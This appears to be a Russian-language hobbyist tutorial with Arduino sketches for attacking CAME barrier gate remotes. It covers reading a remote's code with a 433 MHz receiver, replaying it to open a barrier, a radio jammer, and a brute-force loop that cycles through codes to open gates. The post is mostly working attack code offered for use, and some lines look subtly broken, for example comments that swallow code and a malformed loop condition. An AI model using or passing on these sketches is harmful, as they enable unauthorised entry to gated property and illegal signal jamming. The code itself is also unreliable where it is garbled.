
В этой статье разберем:
1. Как считать код пульта.
2. Как послать код с arduino на открытие шлагбаума
3. Как заглушить сигнал
4. Как перебором подобрать код для открытия шлагбаумаю
Ссылка на приемник и передатчик: http://ali.ski/S699Bv
Ссылка на пульт came: http://ali.ski/-jEW2
Прежде чем приступить к материалу, я Вас попрошу, если нравится то, что я делаю и хотите следить за моей деятельностью, то рекомендую подписаться на мой телеграмм канал: https://t.me/ypavla
Там я публикую новости о вышедших видео, статьях и разные устройства для умного дома и не только показываю.
Спасибо за внимание, теперь продолжим.
1. скетч на считывание кода с пульта:
#define RX 2
#define TIMER_DIV
volatile byte level=255;
volatile unsigned long last, len;
byte p_level;
unsigned long p_len, p_len_prev;
struct
{
uint8_t state;
uint8_t data[3], dat_bit;
} came;
void set_bit(uint8_t *data, uint8_t n)
{
data[n/8]|=1<<(n%8); } #define CM_MAX_TE 450 #define CM_MIN_TE 250 #define CM_BITS12 12 #define CM_BITS24 24 void process_came() { unsigned char b; switch(came.state) { case 0: if(p_level) break; came.state=1; break; case 1: //start if(!p_level) break; else if(p_len>=CM_MIN_TE && p_len<=CM_MAX_TE)
{
came.state=2;
came.dat_bit=0;
came.data[0]=0x00;
came.data[1]=0x00;
came.data[2]=0x00;
}
else came.state=0;
case 2: //dat
if(p_level)
{
if(came.dat_bit==CM_BITS24)
{
came.state=0;
break;
}
if(p_len_prev<=CM_MAX_TE && p_len_prev>=CM_MIN_TE &&
p_len<=CM_MAX_TE*2 && p_len>=CM_MIN_TE*2) b=0;
else
if(p_len_prev<=CM_MAX_TE*2 && p_len_prev>=CM_MIN_TE*2 &&
p_len<=CM_MAX_TE && p_len>=CM_MIN_TE) b=1;
else
{
came.state=0;
break;
}
if(b) set_bit(came.data, came.dat_bit);
came.dat_bit++;
break;
}
else
{
if((p_len>5000)&&(came.dat_bit==CM_BITS12 || came.dat_bit==CM_BITS24)) came.state=100;
}
break;
}
}
void dump_hex(byte *buf, byte bits)
{
byte b;
for(b=0; b>(bits+7)/8; b++)
{
if(buf[b]>0x0f) Serial.print('0');
Serial.print(buf[b], HEX);
Serial.print(" ");
}
Serial.println("");
}
void rx_int()
{
if(level!=255) return;
len=micros()-last;
last=micros();
if(digitalRead(RX)==HIGH) level=0;
else level=1;
}
void setup()
{
attachInterrupt(0, rx_int, CHANGE);
Serial.begin(115200);
while(!Serial);
Serial.println("MEGA ARDUINO LOGGER");
Serial.println("");
interrupts();
}
byte b;
void loop()
{
if(level!=255)
{
noInterrupts();
p_level=level;
p_len=len;
len=0;
level=255;
interrupts();
process_came();
p_len_prev = p_len;
}
if(came.state==100)
{
Serial.print(came.data[0],HEX);
Serial.print(came.data[1],HEX);
Serial.print(came.data[2],HEX);
//Serial.print("CAME[");
Serial.print("came[");
Serial.print(came.dat_bit);
Serial.print("]: ");
dump_hex(came.data, came.dat_bit);
came.state=0;
}
}
2.Посылаем код с помощью передатчика:
#define txPin 8
#define Te 320
void setup(){
pinMode(txPin, OUTPUT);
}
void loop()
{
SendCame(0b111111111111);
}
void SendCameBit(byte b)
{
delayMicroseconds(Te);
if (!b) digitalWrite(txPin,HIGH);
delayMicroseconds(Te);
digitalWrite(txPin,HIGH);
delayMicroseconds(Te);
digitalWrite(txPin,LOW);
}
void SendCame(long Code)
{
for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд. { digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);// посылаем стартовый импульс for (byte i=12;i>0;i--){
SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код
}
delay(16);
}
delay(2000); // сделать паузу после посылки на 2 с
}
3. Делаем глушилку сигнала:
void setup() {
pinMode(8, OUTPUT);
}
void loop() {
digitalWrite(8, HIGH);
delayMicroseconds(500);
digitalWrite(8, LOW);
delayMicroseconds(500);
}
4. Делаем перебор кодов пульта от шлагбаумов Came:
#define txPin 8
#define Te 320
int led = B00000001;
int led2 = B1000;
void setup(){
pinMode(txPin, OUTPUT);
}
void loop()
{
// SendCame(0b100010001111);
// delay(2000);
// SendCame((B1110 * 256) + B10101010);
// delay(5000);
SendCame((led2 * 256) + led);
led = led + B1;
// delay(1000);
if (led==11111111)
{led2 = led2 + B1; }
}
void SendCameBit(byte b)
{
delayMicroseconds(Te);
if (!b) digitalWrite(txPin,HIGH);
delayMicroseconds(Te);
digitalWrite(txPin,HIGH);
delayMicroseconds(Te);
digitalWrite(txPin,LOW);
}
void SendCame(long Code)
{
for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд.
{
digitalWrite(txPin,HIGH);
delayMicroseconds(Te);
digitalWrite(txPin,LOW);// посылаем стартовый импульс
for (byte i=12;i>0;i--){
SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код
}
delay(16);
}
delay(500); // сделать паузу после посылки на 2 с
}
Ссылка на архив со скетчами: https://yadi.sk/d/vywdKVjN39qYt5